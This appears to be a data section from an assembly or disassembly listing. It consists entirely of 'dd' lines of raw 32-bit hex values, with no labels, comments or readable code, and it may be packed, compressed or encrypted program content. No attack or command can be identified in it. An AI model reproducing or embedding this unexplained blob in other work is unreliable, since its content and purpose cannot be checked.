dd 3F6BEB2Dh, 87A77900h, 8EBC810Bh, 894A0038h, 5E83F38Ah
dd 6800BF84h, 2ABD69BBh, 73CC1DC5h, 419F0919h, 888FF1EFh
dd 62500961h, 0CC396121h, 480303ECh, 0AF6C6EADh, 0C6A2801Eh
dd 84A30BD9h, 0C40027CFh, 0CC925BB3h, 47E58C00h, 0B99DFFFEh
dd 0F0EE045Dh, 0B0CBFBEBh, 1CB0D2D8h, 0FA9B9400h, 809FCA7Dh
dd 2FFB0CE7h, 0BC8A3205h, 8F388D60h, 4EB9507h, 0C1A63B6Ch
dd 59D48246h, 0F4822C63h, 4D77AC40h, 80FD5E3Ah, 451D3A64h
dd 5CEF54h, 0BE109F7Fh, 5E70CD34h, 0F68CF5Ch, 3FCEFA73h
dd 5D6400FEh, 0CC23D596h, 76BE181Bh, 700B34F6h, 0BF3F39h
dd 387EE2FEh, 2CA005A1h, 83444A91h, 8BB9BD83h, 755B8588h
dd 0D20E5570h, 0E7C01A60h, 2100061Bh, 4B12Ch, 0ADC272D6h
dd 0B20EE92Dh, 51918200h, 0A1B8399Eh, 40C2DE4Fh, 0C63F258Bh
dd 343DD56Fh, 0E1848F13h, 5D096075h, 90AB69B1h, 3AA9012Dh
dd 8CE2A6D8h, 890460DDh, 5D03CAE4h, 3501426Fh, 9901F773h
dd 40304DD1h, 0ACE14837h, 9627513h, 0F8A0639Ah, 1FF998D0h
dd 9A2FEF00h, 25DC31B1h, 21D500D2h, 0D1EDC841h, 9E0057ACh
dd 22BED836h, 0EF69764h, 6B7C4A28h, 0E52D7120h, 0D5000363h
dd 0FE2B2CFCh, 90CC049h, 0AA77632h, 0BDB1C80h, 245CB3C8h
dd 8921FA00h, 1B91CA4h, 0CC6AB138h, 603824DAh, 2F49A700h
dd 28988556h, 0A42E4Ch, 0C99AFBD0h, 60F18EDAh, 0D3C0C859h
dd 0D200A3DEh, 9A9722ACh, 1D49CFA8h, 90B43477h, 0BB0A0027h
dd 2AF43042h, 9CFC4C18h, 70041876h, 0E792061h, 2C0018B1h
dd 220D9AA7h, 92B21ED4h, 26C4270h, 0E050E143h, 0BFF7CC02h
dd 0E03937A5h, 0B720C7h, 2168B02Bh, 0AE14401Dh, 8501AFE6h
dd 2972A0B3h, 2887F6CEh, 0D6A71AD1h, 990F2A98h, 0CB9430DDh
dd 0D5F900B1h, 40CE71h, 0E57015D4h, 6E10936Ah, 452FAB00h
dd 0A667FA5Bh, 89EF03ADh, 870C8A2Eh, 0B7201D8h, 50696A2Ch
dd 1A6E8600h, 2C04Eh, 7E39F444h, 4E77FF9h, 52CDAA00h, 0F3A69175h
dd 8423E722h, 8034931Dh, 827E14B8h, 0D100E929h, 0DF6510EDh
dd 4A9694Fh, 26683AE0h, 1D90807Ch, 37003E59h, 0EE410EB2h
dd 0F811E82Eh, 4DE7007Eh, 0B62CD59Ah, 46008AFFh, 0FEB43A03h
dd 3AF955E4h, 80CD21ACh, 68EA0273h, 2D7F7116h, 0FA2E9048h
dd 3BE0AD58h, 1DC08011h, 6527F2AFh, 9026004Eh, 0CA032A76h
dd 0EE0E228Bh, 3418E9FAh, 7F5300CCh, 0BBBA05ECh, 941E245Bh
dd 0C07A1D63h, 0F571474Eh, 0AF011FA1h, 97AE11E6h, 7424A6C1h
dd 0FB1D37D8h, 0C0068478h, 401211A4h, 0B03FDD00h, 0F6C4CC7Ah
dd 9E20C0C6h, 7055E7C5h, 0E8DF9C01h, 7B8EAE2Dh, 17CA4ADCh
dd 90BE934h, 78D0B978h, 0D1FAA600h, 3F8F1C01h, 0CD6B00B4h
dd 0DC9830E8h, 9E129F9Bh, 0E000DE16h, 2BB22609h, 0A56F00C7h
dd 973A8969h, 0FB264B96h, 8100A356h, 83110714h, 0C33E0277h
dd 78B6D6EEh, 0F08A86E0h, 3A5C25h, 17AEA1A8h, 0F9A23F15h
dd 589C680h, 0E23CE1B4h, 1294B548h, 0ECC0276Ch, 941AC9h
dd 5B845CD5h, 0BC9533D7h, 276ED301h, 42042B8Eh, 2C79A424h
dd 80CC0F1Ch, 0E46D4D06h, 0D0968F2Eh, 1F938201h, 4F00456Ah
dd 0B9F41E7Bh, 8B1BA900h, 99E74E69h, 2265CC3h, 356A0F00h
dd 93B61694h, 0FD5D0400h, 0C0E0BFF8h, 2BAD0389h, 9BAA7B43h
dd 8873FCC8h, 0AB729100h, 505F5C1Ah, 2612E635h, 0A8690Bh
dd 0EA214314h, 9E090857h, 809C7523h, 3AB78168h, 8733400Bh
dd 56D23700h, 59166E4Dh, 47AC0E04h, 33C0F4E9h, 658ED0C5h
dd 0C1218614h, 7E1880E4h, 0F4D174h, 24735662h, 4582800Dh
dd 5901E9E8h, 4F8A5475h, 0A428E096h, 42176583h, 0E330B1E7h
dd 3CE0EE1Dh, 0C008413h, 74050B7Eh, 40A5E7h, 23542B93h
dd 89D06E53h, 98C8B03Fh, 0D24026FFh, 0AE0C0282h, 0D91F7F64h
dd 0D021A580h, 0EB715381h, 9463Dh, 0A902E88h, 569AE6Eh
dd 39775D8Ah, 6FD408BFh, 0A8F41F01h, 4430F9CAh, 0DA9907CBh
dd 602BDECCh, 0BAD8D85h, 2FFD1603h, 0FAA94CA3h, 0BDB080A2h
dd 761FC532h, 0E4D01CFAh, 0A795408Fh, 407D47BAh, 0E1F448h
dd 83AE2102h, 0C071F7EBh, 6E090D78h, 0B1EEE207h, 0DB9EFE00h
dd 94E9AF81h, 56A007Dh, 354FA65Fh, 2A007357h, 45D45EE4h
dd 113C69h, 4C8A8B94h, 86B81A48h, 0A6EF433Ah, 0BE001054h
dd 0CA4DA82Ah, 179F014Eh, 0DC1159Ah, 0C3A0604Ch, 341C5Ch
dd 0A1602729h, 6EE8Fh, 9F9E2EF1h, 5C5AF218h, 7D6BCB00h
dd 0D858DFECh, 79B7144Eh, 2B07E421h, 0E699423Bh, 0E10FE0D1h
dd 0F4BD76Ch, 0C047C1A8h, 0B8CB7860h, 3AA1735h, 0D48A7698h
dd 0E6B854C3h, 8B00EFC4h, 2F6423Fh, 90F73694h, 1538261Ch
dd 181742h
dd 9F36FC0h, 5C0ACE11h, 0DC0D191Ch, 20A34940h, 0F4EF0087h
dd 6268943Dh, 0A025A632h, 2D7C0Dh, 378A4951h, 447E0AD1h
dd 9E89BF01h, 0A91045ABh, 58A7D420h, 0F03D966Ch, 56D6979Dh
dd 0EB0C0F1h, 47F4F343h, 803AC839h, 46BFA57Eh, 0E83BEFh
dd 9CF7AB0Bh, 21419619h, 29D5A801h, 0EC2BBD6Bh, 1CDC1C21h
dd 42625B04h, 9283974Ch, 2AA602E0h, 550CCE03h, 0E2E3AA0Fh
dd 26062B3h, 4811E4FBh, 0C015D80h, 42A124D7h, 14135E10h
dd 2880410Dh, 3EBA9D4Fh, 98028F4Ch, 57B9CA17h, 0ED3B2940h
dd 13F52D3Bh, 4040A0D3h, 107A41FBh, 3C1D0206h, 4A36EE9Eh
dd 5505A4D0h, 78E34309h, 24D030F4h, 1B05C57h, 2D13D1F4h
dd 0E06CD9h, 0F84E6360h, 18C359C9h, 603EB58Eh, 715D958Ah
dd 53858250h, 67B06830h, 33C10FA0h, 0F3C1CBD0h, 0E89C8B91h
dd 0DE00DBECh, 0EA93275Eh, 0CB0B8Dh, 0F2FF8FA7h, 11BD576Fh
dd 3AEF9104h, 94C1682Eh, 5B705D14h, 0DF58C028h, 9008B90Eh
dd 7F7C3B0Fh, 885C8078h, 3CB246CCh, 4A804DCBh, 16F5AB8Ah
dd 28305ED3h, 7114C873h, 0AC350038h, 79E5B033h, 470E62F9h
dd 2529AA39h, 5C90C381h, 25D0F2h, 2106BBC6h, 63EEB762h
dd 0B1DC20F9h, 34825500h, 0E2E51D76h, 35270092h, 71F022D1h
dd 1800D93Eh, 234EF37Ah, 80657h, 0A2A1E862h, 5CF5C5D0h
dd 4030F00h, 96DAFCAEh, 0D86E5023h, 56BA1F90h, 0C608C0D9h
dd 3EFDA1D6h, 6BCA580Bh, 0DCEB0093h, 43C536h, 0B5392EB7h
dd 6784D947h, 4CFFC700h, 1EB10F6Fh, 13B9002Ah, 2FEDCD50h
dd 2400AE43h, 0D95A80E9h, 0B116454h, 89A22701h, 2923BCC4h
dd 0FE2408D7h, 28005F11h, 3BCD625h, 0C752FDDh, 0D4FF5102h
dd 58A74465h, 6AA900F8h, 0A614D8EFh, 0C7044092h, 0F72DEEEh
dd 61F2E880h, 0A1330031h, 0C290E18Eh, 0CA001003h, 85F52035h
dd 9D18818h, 14B4D669h, 22EFEC80h, 8C920C3Eh, 9FE20A1Eh
dd 0CD388D00h, 342D70h, 2B546867h, 0EBD9C379h, 0F026600h
dd 5832C14Dh, 0D8C002Eh, 20D1EECAh, 1A1452B6h, 0F8F5AFh
dd 2921B122h, 1CC6FCBh, 30BB8138h, 385B8CEDh, 0B6FE0F2Ch
dd 159807C8h, 26848E41h, 979060h, 5D46CA07h, 8B09E67Eh
dd 19D7BC12h, 0B503F603h, 0BEF2B020h, 0B9B100B0h, 0ABFC3F5Bh
dd 8600C44Eh, 20A6B2C6h, 0EC655DB5h, 7ABD09D2h, 51807308h
dd 25507E3Fh, 17B7CD00h, 0FFC4383Ah, 6EBA1C28h, 0D3BE4080h
dd 1DC9DD1Ch, 89EA001h, 0E4BDE05Dh, 953630h, 0B053E24Fh
dd 54D3FE7Fh, 309AFE6h, 240CA770h, 4CD8450Ch, 189005E3h
dd 0D042E70Ah, 0EE434748h, 80266938h, 18948341h, 0D0A306h
dd 176EF852h, 0EA9F11FDh, 0CC0330BCh, 8AE845F2h, 3B3CC051h
dd 91A20461h, 0A17830EEh, 1D55E0E8h, 11204A60h, 6C85D1Ch
dd 393CA8A0h, 38901908h, 0E0528000h, 322AF2E1h, 0B4713954h
dd 2BE73380h, 7F1CFD1Bh, 99868B00h, 9CEFA62Ah, 333F0041h
dd 966AAE3Eh, 77002935h, 0A17A3210h, 0F8E3818h, 0FBE2ED6Fh
dd 33E48000h, 750F7E50h, 5E8430ADh, 0FF4D7CC2h, 0D036404Bh
dd 0FB821CF2h, 4E80FC94h, 2C87EE1Ah, 0A40027F4h, 485119E6h
dd 4D18682Fh, 1703B0C2h, 49E18FB6h, 0A5302Dh, 68A9E0FCh
dd 2B2E00C0h, 53D8767Ah, 0A2003196h, 4CC14F93h, 2FB811DFh
dd 30A07B1Bh, 0FA9B0D59h, 87D4640Eh, 8186E727h, 3CD29D70h
dd 20F00EF8h, 4016F348h, 802AC060h, 8101AB71h, 941F5893h
dd 18FB78FFh, 10075B98h, 8F8AE9C7h, 0E6510330h, 1F59C347h
dd 20BEA620h, 13988A0Ch, 0E20582Fh, 0A940D193h, 0F6EA7180h
dd 4501CA97h, 0D2DE291Dh, 0E1F090FDh, 7D67002Eh, 445CED79h
dd 2B30A913h, 5A986859h, 0E8581560h, 5C42948Eh, 0D65B2601h
dd 0D03B32E7h, 521520F6h, 36C06F3h, 11AC8EF2h, 8C12D090h
dd 558B077Eh, 1CD6AF94h, 0FE0071C0h, 4ACE44DEh, 0D427ACh
dd 588CEA50h, 367A33EBh, 38356C00h, 37667570h, 6EC50077h
dd 14E5F785h, 86ECB72Eh, 2FA8D00h, 9A2F2D3Ah, 0DDBC07EEh
dd 70C20734h, 9564BD35h, 92A4B239h, 4C1C87Ah, 92D5E9B9h
dd 2AB0D9B4h, 1100AB04h, 0E5E4C7E9h, 0D53E034Eh, 0EECAACCDh
dd 60929500h, 3F840E0Ch, 0C7079785h, 8711E661h, 0FF1C4063h
dd 5900D0E7h, 8E97FEC6h, 39929D03h, 0D381875Bh, 0E0FBCB5Dh
dd 0E4FAC0F8h, 86275300h, 80C5259Bh, 0C7FC00EFh, 8DADE5FBh
dd 0FB90FD94h, 489A8C00h, 0F3CF60A3h, 0C170AFD3h, 2081B67Bh
dd 2D3C98D0h, 402C006Eh, 0DE487DD1h, 0C98D18FCh, 0AB772847h
dd 9775E904h, 0D15D703Eh, 0C73D117Fh, 271DFB21h, 11F942E2h
dd 0DF21CE9Bh, 907A0708h, 28ED8A9Dh, 84B48308h, 878B23Dh
dd 0ADD742A1h, 0EEA60721h, 29D67903h, 19118542h, 40B21ACh
dd 479DCCCh, 3B447C49h, 472F4872h, 2D90D889h, 2831818Fh
dd 0EA325053h, 82F129D4h, 25AA843Ch, 0A1140417h, 0B81548D6h
dd 4BC96900h, 0EA1DED17h, 3C828B00h, 0A9A4AA09h, 0CFF700ABh
dd 9CA8D442h, 7D00AF1Eh, 0A34FB793h, 7159B5h, 0EF7D03Dh
dd 8D73F155h, 6B260807h, 16505815h, 0A9D06h, 0F790819Ah
dd 6A2BCFE4h, 1E00BAEEh, 0A35A2C92h, 8AD048h, 1490EE0Dh
dd 60FAF858h, 0F343Eh, 8D2627DBh, 0AEEABBh, 5C40DF42h
dd 57B03B30h, 6E67E600h, 69B455C5h, 0B3DA8021h, 415D5B01h
dd 67E4901Ah, 562A1980h, 8E76BAB8h, 0DE1DE701h, 0D5241902h
dd 0EAEF59D8h, 0F4C20044h, 2803F6AAh, 81004984h, 0B07619D6h
dd 7F6A5358h, 6CF90B47h, 6C20796Bh, 4F40FBADh, 67ECB601h
dd 5F81743Dh, 184CAD8h, 3A3C4DBDh, 0C8910355h, 400C6C2Ah
dd 0E8975CCBh, 7AF83966h, 9DFF5087h, 5369C0D5h, 0CA01C10Dh
dd 0AC6D90CDh, 0F3E475EAh, 5264B298h, 0D43FA850h, 76B8B80h
dd 8D3D2F30h, 0BE49C100h, 0D1B452Bh, 0CDF0A1h, 0D54377ACh
dd 0E2AD2294h, 0F937EA0Eh, 3F9AA062h, 0C65AC5h, 4EE8993Dh
dd 0E9F6E49Eh, 0A60047Eh, 2FD6540h, 2B23008Dh, 0C9C7AA78h
dd 6E3BC814h, 622C8074h, 0C5DAB244h, 0EFB8C09Dh, 0F3E6D749h
dd 6C5E4200h, 13839ECh, 2AAC009Bh, 0AAABDA2Fh, 0F93C6AD3h
dd 0BA838091h, 6DF5A454h, 0A81B4A52h, 0D22C070Bh, 0D3F0CB2Bh
dd 0FA70C3h, 0B3DDD0BEh, 0C8EECA0Fh, 4E5052E8h, 0F01F7A88h
dd 0A240862Bh, 0B732A1AFh, 0D1C13D4Ch, 0EEDF8B8Eh, 0D2FF8D00h
dd 0CA009E33h, 6AB9E7C4h, 0DB4C9Ah, 0F9A684D8h, 24815B45h
dd 7BDFD40Eh, 0EBAE02Ah, 0FBC65Eh, 64389471h, 0C2D7B20Fh
dd 2BEFD607h, 81BEF3ACh, 0FFCFCEA4h, 17BF0C4h, 7AE90436h
dd 203F1064h, 0AA1FA554h, 3E98528Ch, 1E885B10h, 5F3359FEh
dd 0D7D75E14h, 0EA850572h, 0EC00D0B1h, 0C6005192h, 0D32DE83Bh
dd 0FEE5A93Eh, 18A300BEh, 0B6D24060h, 0A63CC355h, 1E70001Fh
dd 0AD906EB3h, 95BD0053h, 8CCAF113h, 380A2935h, 0E8143A2Ch
dd 20897E00h, 60A95509h, 47F290B6h, 0FF062587h, 8D3F766Bh
dd 192F0536h, 0C05A22E3h, 0F07C3D6Bh, 0EF27A41Fh, 181B1100h
dd 0F8C68020h, 0E2EA54h, 85BEED1Ch, 0E30D39D7h, 0D9895800h
dd 9646EA0h, 55E1023Eh, 8544D03Fh, 7B5A6440h, 0F9D24300h
dd 0CCF75708h, 16760732h, 6123556Ch, 0D839EED9h, 84008D6Dh
dd 0AD0C1399h, 0D745A6h, 0C1527C50h, 6CEAFA72h, 6EA85900h
dd 30BA098Bh, 15FC0064h, 26958DB1h, 21D2F98h, 220058DEh
dd 67FB9E9Bh, 1DB700DCh
dd 2852FDD8h, 0E1121466h, 0A40EFA0Ch, 0A7B4E217h, 25B44072h
dd 0A82663FBh, 46F06E88h, 53006DFCh, 8E58A4B0h, 54B5806Ch
dd 4FCC4Bh, 1FA87AD7h, 0CB11DCF8h, 0C2C7400h, 0A4214B7Fh
dd 7C9852h, 58E97B98h, 295DA2FEh, 4324C601h, 0A177B91Dh
dd 0C90C30h, 7F0B5BB8h, 78736308h, 2B49009h, 116480F2h
dd 97B46B3h, 58C0EC03h, 0D405BC01h, 0A1183099h, 72086989h
dd 0BD00B27Fh, 689385D5h, 612FFBBh, 0A506EE76h, 0C70E4031h
dd 9DE859BAh, 2388ADC0h, 0EF7DDFh, 0BD38121Dh, 7387A3A7h
dd 8A830F00h, 0B0840BCBh, 779600F1h, 1B9DFAE6h, 0ED03D498h
dd 4981458Bh, 937E0007h, 1A331C46h, 0E100CDC9h, 0D324C820h
dd 129861FEh, 1D068Bh, 59E0D9B5h, 3A01A623h, 82ABD477h
dd 0C8E4AAD3h, 0FF2A18B5h, 4A9A205Ah, 6C03BB0Eh, 9FEEC0D6h
dd 71C0BEA7h, 66E100D5h, 2F6B2334h, 800A1946h, 84B79CE7h
dd 4BB34200h, 0C18182h, 6AB42E9Fh, 8D54CF3Eh, 0E1622B0Eh
dd 550C0326h, 9BF1C8A5h, 1EB5007Ah, 34580F6Dh, 750005DBh
dd 66A47252h, 484E3643h, 0DC3E3810h, 409DEA92h, 77ECF1D8h
dd 0B2F89FD2h, 9C00B090h, 0F475A468h, 33F5E7h, 0B979653Eh
dd 249A924Fh, 19F37605h, 0C4003C2Eh, 0DB455238h, 580B0377h
dd 0AB8FB2BCh, 0B4B84800h, 0D0094E9Ch, 5B221D43h, 5E36DDA5h
dd 64C54026h, 8AA271D2h, 7FD8C58h, 4340F003h, 585C42F0h
dd 75DB0001h, 10DDB91Fh, 0E1009A12h, 0CE92BFE4h, 3DB0EAC9h
dd 0A98086A1h, 0F9E287E3h, 0A672C4B3h, 0CB008FEAh, 0C847BCCDh
dd 3E6B0F8h, 7529F6Bh, 0DDB81CC2h, 8F0A0570h, 0B8BBB403h
dd 136BAA07h, 26B849F1h, 0C623C440h, 45BC0007h, 1E29A2F3h
dd 0BD0F4489h, 0E04E551Dh, 0D569FD3Ch, 0ECEC47h, 0ABC2F160h
dd 98E99CBAh, 413A3E4Ch, 59A20B8h, 0A0C7B8A8h, 60276200h
dd 9574D63Dh, 24D91FDDh, 9C4A8E17h, 8EDE340h, 0E03894Ch
dd 0AADDEC2Bh, 0FFD590FCh, 0C5EF26EAh, 0B71060F0h, 0C27FBAD2h
dd 0CF247807h, 0DFB017F3h, 41FCC7h, 360C13Fh, 9E13405Ch
dd 4ABD7B1Dh, 5F85EDC0h, 33FFBEh, 3591612Fh, 8B37E70Dh
dd 7960CD00h, 0A39C6C50h, 6E6400BDh, 661D77D4h, 5D3E1C1Fh
dd 0EC9DA4B0h, 605F6200h, 192FBh, 0A1E4B808h, 77C932F7h
dd 0F47B2900h, 42B35213h, 0AE430151h, 0A9719ACCh, 7978947Dh
dd 19F72698h, 403FCE00h, 2491DEh, 7590153h, 6213A112h
dd 786C7303h, 0D03C3525h, 0EC262305h, 0AC7600D9h, 0A80CC2CFh
dd 0F7009399h, 0C6EC324Dh, 79ED6855h, 2F5D0041h, 63B69091h
dd 0D400C375h, 1F2280BAh, 3B426915h, 0DB163BDAh, 46400CCh
dd 0FBA88D1Ah, 4EC0D100h, 6EE0F68Eh, 0AC2849AEh, 2F263300h
dd 0E322A0AFh, 0CB478600h, 1166A703h, 844603A5h, 0A469C10Bh
dd 3A1DF1E8h, 58156E00h, 74689A5Ch, 4BC9AF5h, 0E05D1E85h
dd 64B0C053h, 7A3B3717h, 0AB1061BFh, 2885A0E1h, 802E893Fh
dd 7CAD6E84h, 502C4158h, 28736A20h, 0D8364A01h, 0A91E7724h
dd 431420h, 692CE8CDh, 3CCF8B6Dh, 8DC8903h, 0C0455FB5h
dd 0D05B64h, 0F044180Ah, 0A31AB217h, 4583403h, 0D8F752AFh
dd 489C363Fh, 0C008204Dh, 990BBC63h, 0D90820EBh, 75D1C4D0h
dd 0EC880909h, 8002254h, 7CFA8FB5h, 99E60800h, 64F05CF6h
dd 25B090B9h, 0C0005BBAh, 2CD7B668h, 1A41259h, 39150335h
dd 0CDD819CEh, 76E4002Dh, 9992E16Fh, 0B3390225h, 52A1005Ch
dd 3ECC4ADBh, 2BC71288h, 0C4B0011Ah, 60B10A5Dh, 0B0A80648h
dd 6876DA58h, 5711A46Bh, 0C8DDF780h, 1500C05Ah, 0DFEC519Fh
dd 0C35DB9h, 797E91E9h, 5554E098h, 0F0331000h, 651953D6h
dd 0A9D5007Bh, 984240AEh, 4413C2ADh, 84C00C59h, 0A8B356BCh
dd 18A05C8Ch, 11160620h, 0FF11C17Ah, 5500B4E6h, 1875E72Fh
dd 0B701268Dh, 0FE66D763h, 4020C19Bh, 4F403E4Ah, 6F78FB00h
dd 375111DAh, 68806A01h, 5E894502h, 29ECD180h, 103F0ADEh
dd 0BE0CE214h, 370D00C0h, 2A9A6E52h, 153100C4h, 0E6497D1Bh
dd 3D006304h, 0D8A4585h, 188B18D2h, 98DAB29Fh, 590113A0h
dd 0F11C2741h, 79C809CCh, 0D67D0082h, 0B99C04Eh, 0F81EF30Ch
dd 0C2CEFBD4h, 9456E72Eh, 0F9123F80h, 11B71DDFh, 8B20080h
dd 0E58439EFh, 0E43CFB00h, 0BDF47116h, 2DDC0033h, 4BEDBF44h
dd 1B2EF398h, 4D004D0Eh, 7C7DB1E3h, 0ADC100FFh, 1FBEC224h
dd 8901EEC8h, 0DDD23582h, 0AC2CE08Ch, 470B0E04h, 347940A6h
dd 461497h, 93AC8FAAh, 0B24C88A5h, 6D715300h, 0B859E869h
dd 0C7AE01CFh, 0C112EED1h, 0DC94DDB1h, 0BA00F401h, 5BBB8CA5h
dd 265A21h, 0D5C7A905h, 1AE7095Dh, 0A5387100h, 2F31B9ADh
dd 0A75300EEh, 817FA974h, 6500C915h, 0AB02E1C4h, 0A12859h
dd 0AC387089h, 51727D84h, 3B2C7C00h, 556B17DCh, 0F12D3814h
dd 9FA7C100h, 31A8F6Ah, 0ABE7A0Fh, 0D691E3AAh, 0E645D806h
dd 465005Bh, 710F58A8h, 211CE9FCh, 1DC0A697h, 7585B963h
dd 37E30026h, 54B7810Bh, 9B39063Fh, 0ACAF00F7h, 41826397h
dd 96C03965h, 60FD4980h, 0AA645031h, 5C04911Eh, 84F86D80h
dd 73F89EDh, 747B7E25h, 707C60C7h, 46745C11h, 509B1900h
dd 0EF684CDBh, 0D4800313h, 0A27106Ah, 0F08D2800h, 0CFA1DC1Bh
dd 0B8265129h, 585898D4h, 0A348006Eh, 2C11BD00h, 4597E0DCh
dd 95DD9900h, 0DF4164B3h, 5371C3F5h, 6BA0293Ah, 0C50CA1A2h
dd 0C006D1B0h, 522700C7h, 39333F57h, 2F007AF8h, 0D54C72DCh
dd 0C0E69437h, 0E88A3B29h, 5F0395FAh, 5DFFAE66h, 1619D8A5h
dd 0C093EA8Fh, 0F5AF5268h, 4302D8BCh, 8D0F83F9h, 0F49460C7h
dd 95461239h, 0BBF040AEh, 0FC1BEA29h, 77D3158h, 0E2DC8C23h
dd 173B0140h, 8EC83D8Ah, 2BEE7A80h, 0CBA1D43h, 0B3F2B500h
dd 45A028ACh, 0E56412DAh, 65C91E91h, 0D1A87400h, 260020D3h
dd 185E5A9Bh, 0BCFBDh, 28FDF7B7h, 0E1C92234h, 0F49B8700h
dd 0FFC70ECCh, 0D31B0E98h, 6D80E558h, 0AF99475Dh, 1A33A41Eh
dd 47B216CEh, 0A99079CEh, 0F7D431h, 567763CFh, 0EF3BEAF2h
dd 4C601F01h, 76471E87h, 2026BF0h, 264549D9h, 70600474h
dd 0C088150Dh, 9887002Fh, 4EFF2951h, 3100C3D3h, 0ABA7E986h
dd 61FADh, 0D68FDC58h, 0F3AF18CFh, 16C19200h, 2F12E37Ch
dd 10D7850h, 0CB813890h, 0E675F586h, 451D0DC0h, 0C7068F00h
dd 0CF1A97BFh, 291B29F2h, 336A0F90h, 74CC8280h, 0D0971489h
dd 90DB000Ah, 0BA36D898h, 800081D5h, 0AB1E744Fh, 740175EAh
dd 6C4200A6h, 8CBD073Eh, 1703AFF7h, 76FC2287h, 0C6CAD8B0h
dd 0C7B8A067h, 0D0EA3Dh, 66B36B62h, 35ADBF75h, 0CBBB871Eh
dd 16DD26C0h, 12BC289h, 98B68C2Ah, 0FCCCCD6Fh, 8700B230h
dd 27090E91h, 0A138F1h, 8D696741h, 0B3BF103Ch, 87A2B203h
dd 0B77315DEh, 2480B9B7h, 14454Ch, 8EB41A6Ah, 0C7C56FD3h
dd 16AD9344h, 0C0BE543Bh, 6EF7D73Ch, 0C3DB9500h, 0D2A93A7h
dd 483702F3h, 924A41Eh, 0D5AD4640h, 3979333Fh, 52E400BDh
dd 0A11F8B44h, 0F96A00BCh, 0A416E8A3h, 1A2ED371h, 48005266h
dd 65102A4Fh, 18B709EBh, 5C4008A3h, 2F393039h, 773B8114h
dd 0D5A91345h, 280E0C20h, 0D0B240h, 0FA73FD9Fh, 3F299622h
dd 0C3394CB2h, 8E1F8F5Ah, 3DCC405Ch, 1B4E0Fh, 8E374F8h
dd 9FC27671h, 296F8500h, 2B5C567Eh, 9A540115h, 0FD8CB746h
dd 3E845110h, 0B192C86Ah
dd 41050B98h, 0E5CCD15Dh, 1714A0h, 0BD4F382Ah, 2E19D73Fh
dd 0A3CA7400h, 553A2F8Eh, 731EA6Dh, 0BB08E587h, 5DE7D0D8h
dd 7400E166h, 0E92117A6h, 4F90AF7Ch, 41EC8006h, 2F58EFD1h
dd 84AE0C66h, 0C0F8680Eh, 2726E460h, 8E0E692Eh, 2001FC07h
dd 0B1D8E7DCh, 744C00D9h, 754F1261h, 0E803B225h, 372F512Bh
dd 0BB19621h, 55FEB378h, 0E52B800h, 0BD3A6BD8h, 94118B97h
dd 53048114h, 0FC52B8C2h, 21B0A083h, 0B4373Ah, 0B98ABF9h
dd 758ED7E9h, 69E1B904h, 0E88067CAh, 7DC3A5CDh, 7CEA0048h
dd 4E56124h, 0A1174602h, 0B000BBE1h, 331FF42Fh, 8C2E003Ah
dd 0FA4FCDC9h, 37004DF1h, 54351299h, 275ABBA8h, 0EC878FD5h
dd 809C35D6h, 181689ACh, 0EF234017h, 0EAE6B000h, 42F666Fh
dd 4B152D0h, 36EDC07Eh, 3900F2DEh, 0EFD6E922h, 0E4A7228h
dd 41EBD50Dh, 294BA6Ah, 4E29549h, 0FEEF3440h, 0DF075BFCh
dd 2D76995Fh, 0ED3FAA03h, 8C005456h, 0DBB1F082h, 0A47D0061h
dd 30D2E9D4h, 51000813h, 2071A26Dh, 2B49BDCh, 726BE1DEh
dd 0F87B958Dh, 8BC18700h, 2062Bh, 1BB1AC78h, 6BDB7B71h
dd 60528A00h, 0CCBEA18Dh, 9909008Eh, 8CC7C636h, 0A00C5BAh
dd 26B40E48h, 3CD68375h, 7638CCh, 580F7CDFh, 2B08EF62h
dd 4E530224h, 0DA718B07h, 0E5BEF7E0h, 18D9006Ah, 1BD6F26Eh
dd 5001772h, 0E964748Dh, 0FC510B2h, 0E74BD3A1h, 0D8C08009h
dd 0D031ED6h, 163A9DCh, 83B6E36Bh, 0AAE80028h, 0FAFE2495h
dd 77000EF4h, 6705E569h, 74D04D02h, 1B37331h, 0A2DE75CCh
dd 7018C69Dh, 361E4C65h, 7C03E9EEh, 8855EA31h, 76E160h
dd 0BD7AF07Bh, 40D79D51h, 0FF6F480Ah, 9900A406h, 2F4A9F60h
dd 0A3E680h, 2E8BC990h, 754345FEh, 650068EEh, 7FEEDB0Dh
dd 3CA66732h, 710386DEh, 3646E9EDh, 0A6B8DA8h, 0E41DEEB0h
dd 0B480F59Ch, 0CCBCE623h, 24BE0047h, 9205621Ch, 6D7AA311h
dd 3B94B201h, 9E85543Dh, 0A69D70h, 0AB6C2DBh, 395B186h
dd 4D006A77h, 67970E87h, 1C8327D2h, 80E00D18h, 4F293507h
dd 0B9004AFEh, 8C36761Eh, 5C22B3h, 8654F5A5h, 0C28FA3E2h
dd 0A44EF83Eh, 79E0DCF9h, 7E5CB8h, 15F86F5Ah, 0E00F1EADh
dd 5237AF01h, 72C26695h, 1FB01C64h, 843A1340h, 91E02468h
dd 20A9A570h, 811D316Dh, 64127E6h, 9736DCF4h, 0F051F442h
dd 0A7470088h, 0A210B14Bh, 0BC00EEF6h, 3233AED0h, 19EFA8Eh
dd 1D125F79h, 2CA874D8h, 3AAEA078h, 0DC92DCh, 39F5BE1Eh
dd 0E3540E8Dh, 0A327ED03h, 1B8A20Bh, 0AB032CD9h, 0C284B12Dh
dd 0B33F4C68h, 0BCC949h, 0FA62CCCEh, 633C56E8h, 3BCA2023h
dd 75EDACC8h, 0A0578725h, 71A6A07Ch, 10F69Bh, 1853936Ah
dd 499AB5C9h, 2997CD00h, 38EFCFFCh, 0E53000AAh, 7E77B65Bh
dd 40C0F34Fh, 3978CED1h, 0F95400AFh, 0CD8951D9h, 920E6BF5h
dd 3E52DD2h, 95C7F62Fh, 5EA514C7h, 0E88080C5h, 35FFF2Ah
dd 0FCBD84E2h, 0DD88C745h, 0B40B5B63h, 0A0499CD5h, 25463F64h
dd 0A6730A64h, 809CFE75h, 1D8B7A7Dh, 5F5CF8ABh, 5D620354h
dd 0F319BC1Bh, 684A98CFh, 917200CEh, 0EC92783Dh, 14FA6553h
dd 0C79AE807h, 0FC901757h, 0B9E1F1h, 0EC440512h, 7ABA807Dh
dd 14D4D600h, 0E18F85A4h, 796D00B6h, 0F52C8782h, 1F07EAA7h
dd 0E891CA3Ch, 0C02BF7E2h, 0F604A44h, 0D21EEE7Bh, 0E70280FFh
dd 5BAC315Ch, 0FED6DB00h, 0A26FFAB0h, 7AA90083h, 1AC917D4h
dd 0EB00BC6Ah, 0ED68B08h, 0F12BB5h, 0CAAF4435h, 7EBA5BDFh
dd 0F6365107h, 0E430276Fh, 0F290FBh, 224FE968h, 18EFC460h
